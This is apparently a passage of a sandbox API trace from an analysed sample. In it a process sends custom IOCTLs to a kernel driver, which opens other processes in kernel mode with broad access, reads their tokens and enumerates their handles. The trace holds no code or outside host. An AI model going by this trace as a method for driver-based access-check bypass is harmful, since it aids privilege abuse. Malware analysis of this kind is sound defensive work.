ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0075.948] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.948] PsReleaseProcessExitSynchronization () returned 0x2 [0075.948] ObfDereferenceObject (Object=0xfffffa8002545920) returned 0x27 [0075.948] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa80039b4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80039b4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0075.948] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0xc [0075.948] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.948] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.948] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xadc) returned 0x0 [0075.948] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.948] PsLookupProcessByProcessId (in: ProcessId=0xadc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.948] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.948] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.948] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.948] PsLookupProcessByProcessId (in: ProcessId=0xadc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.948] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.948] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.948] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.948] PsLookupProcessByProcessId (in: ProcessId=0xadc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.948] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.948] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.948] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.948] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.948] PsLookupProcessByProcessId (in: ProcessId=0xadc, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.948] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.948] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.949] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x74c) returned 0x0 [0075.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.949] PsLookupProcessByProcessId (in: ProcessId=0x74c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.949] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.949] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.949] PsLookupProcessByProcessId (in: ProcessId=0x74c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.949] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.949] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.949] PsLookupProcessByProcessId (in: ProcessId=0x74c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.949] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.949] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.949] PsLookupProcessByProcessId (in: ProcessId=0x74c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.949] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.949] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.949] PsLookupProcessByProcessId (in: ProcessId=0x74c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.949] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.949] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.949] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.949] PsLookupProcessByProcessId (in: ProcessId=0x74c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.950] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.950] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.950] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x191b30, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0075.950] PsLookupProcessByProcessId (in: ProcessId=0x74c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0xc000000b [0075.950] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.950] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.950] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xbe8) returned 0xc0 [0075.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.950] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80036454f0, HandleInformation=0x0) returned 0x0 [0075.950] ObOpenObjectByPointer (in: Object=0xfffffa80036454f0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.950] ObfDereferenceObject (Object=0xfffffa80036454f0) returned 0x10 [0075.950] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800396ee40 | out: TokenHandle=0xfffffa800396ee40*=0xc8) returned 0x0 [0075.950] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.950] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.950] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.950] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.952] CloseHandle (hObject=0xc8) returned 1 [0075.952] CloseHandle (hObject=0xc0) returned 1 [0075.952] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.952] PsLookupProcessByProcessId (in: ProcessId=0xbe8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.952] PsAcquireProcessExitSynchronization () returned 0x0 [0075.952] KeStackAttachProcess (in: PROCESS=0xfffffa80036454f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80036454f0, ApcState=0xfffff880054f85d0) [0075.952] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003713d90, HandleInformation=0x0) returned 0x0 [0075.952] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.952] PsReleaseProcessExitSynchronization () returned 0x2 [0075.952] ObfDereferenceObject (Object=0xfffffa80036454f0) returned 0xe [0075.952] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039a2044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039a2044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.952] ObfDereferenceObject (Object=0xfffffa8003713d90) returned 0x1 [0075.952] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.952] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.952] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.952] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.952] PsLookupProcessByProcessId (in: ProcessId=0xbe8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.952] PsAcquireProcessExitSynchronization () returned 0x0 [0075.952] KeStackAttachProcess (in: PROCESS=0xfffffa80036454f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80036454f0, ApcState=0xfffff880054f85d0) [0075.952] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80034def20, HandleInformation=0x0) returned 0x0 [0075.952] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.952] PsReleaseProcessExitSynchronization () returned 0x2 [0075.952] ObfDereferenceObject (Object=0xfffffa80036454f0) returned 0xe [0075.952] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800391c044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800391c044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.952] ObfDereferenceObject (Object=0xfffffa80034def20) returned 0x1 [0075.952] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.953] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.953] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0075.953] PsLookupProcessByProcessId (in: ProcessId=0xbe8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.953] PsAcquireProcessExitSynchronization () returned 0x0 [0075.953] KeStackAttachProcess (in: PROCESS=0xfffffa80036454f0, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80036454f0, ApcState=0xfffff880054f85d0) [0075.953] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003645b80, HandleInformation=0x0) returned 0x0 [0075.953] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.953] PsReleaseProcessExitSynchronization () returned 0x2 [0075.953] ObfDereferenceObject (Object=0xfffffa80036454f0) returned 0xe [0075.953] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80038f0044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038f0044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.953] ObfDereferenceObject (Object=0xfffffa8003645b80) returned 0x3 [0075.953] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.953] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.953] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x598) returned 0xc0 [0075.953] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.953] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80034bbb30, HandleInformation=0x0) returned 0x0 [0075.953] ObOpenObjectByPointer (in: Object=0xfffffa80034bbb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.953] ObfDereferenceObject (Object=0xfffffa80034bbb30) returned 0x1c [0075.953] ZwOpenProcessToken (in: ProcessHandle=0xffffffff8000061c, DesiredAccess=0x8, TokenHandle=0xfffffa800396ee40 | out: TokenHandle=0xfffffa800396ee40*=0xc8) returned 0x0 [0075.953] ZwClose (Handle=0xffffffff8000061c) returned 0x0 [0075.953] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.953] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0075.953] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0075.955] CloseHandle (hObject=0xc8) returned 1 [0075.955] CloseHandle (hObject=0xc0) returned 1 [0075.955] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0075.955] PsLookupProcessByProcessId (in: ProcessId=0x598, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.955] PsAcquireProcessExitSynchronization () returned 0x0 [0075.955] KeStackAttachProcess (in: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0) [0075.955] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003802890, HandleInformation=0x0) returned 0x0 [0075.955] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.955] PsReleaseProcessExitSynchronization () returned 0x2 [0075.955] ObfDereferenceObject (Object=0xfffffa80034bbb30) returned 0x1a [0075.955] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003923044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003923044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.955] ObfDereferenceObject (Object=0xfffffa8003802890) returned 0x1 [0075.955] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.955] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.955] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.955] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0075.955] PsLookupProcessByProcessId (in: ProcessId=0x598, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.956] PsAcquireProcessExitSynchronization () returned 0x0 [0075.956] KeStackAttachProcess (in: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0) [0075.956] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003802740, HandleInformation=0x0) returned 0x0 [0075.956] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.956] PsReleaseProcessExitSynchronization () returned 0x2 [0075.956] ObfDereferenceObject (Object=0xfffffa80034bbb30) returned 0x1a [0075.956] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80039b8044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b8044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.956] ObfDereferenceObject (Object=0xfffffa8003802740) returned 0x1 [0075.956] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.956] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.956] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0075.956] PsLookupProcessByProcessId (in: ProcessId=0x598, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.956] PsAcquireProcessExitSynchronization () returned 0x0 [0075.956] KeStackAttachProcess (in: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0) [0075.956] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80038086d0, HandleInformation=0x0) returned 0x0 [0075.956] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.956] PsReleaseProcessExitSynchronization () returned 0x2 [0075.956] ObfDereferenceObject (Object=0xfffffa80034bbb30) returned 0x1a [0075.956] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800385f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800385f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.956] ObfDereferenceObject (Object=0xfffffa80038086d0) returned 0x1 [0075.956] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.956] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.956] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x191b30 [0075.956] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x191b30, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x191b30*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0075.956] PsLookupProcessByProcessId (in: ProcessId=0x598, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0075.956] PsAcquireProcessExitSynchronization () returned 0x0 [0075.956] KeStackAttachProcess (in: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80034bbb30, ApcState=0xfffff880054f85d0) [0075.956] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003645b80, HandleInformation=0x0) returned 0x0 [0075.956] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0075.957] PsReleaseProcessExitSynchronization () returned 0x2 [0075.957] ObfDereferenceObject (Object=0xfffffa80034bbb30) returned 0x1a [0075.957] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80039b4044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80039b4044, ReturnLength=0xfffff880054f8508) returned 0x0 [0075.957] ObfDereferenceObject (Object=0xfffffa8003645b80) returned 0x3 [0075.957] IofCompleteRequest (Irp=0xfffffa800fcdd790, PriorityBoost=0) [0075.957] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x191b30 | out: hHeap=0x150000) returned 1 [0075.957] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb70) returned 0xc0 [0075.957] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0075.957] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa800378d450, HandleInformation=0x0) returned 0x0 [0075.957] ObOpenObjectByPointer (in: Object=0xfffffa800378d450, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff8000061c) returned 0x0 [0075.957] ObfDereferenceObject (Object=0xfffffa800378d450) returned 0x25 [0075.957] 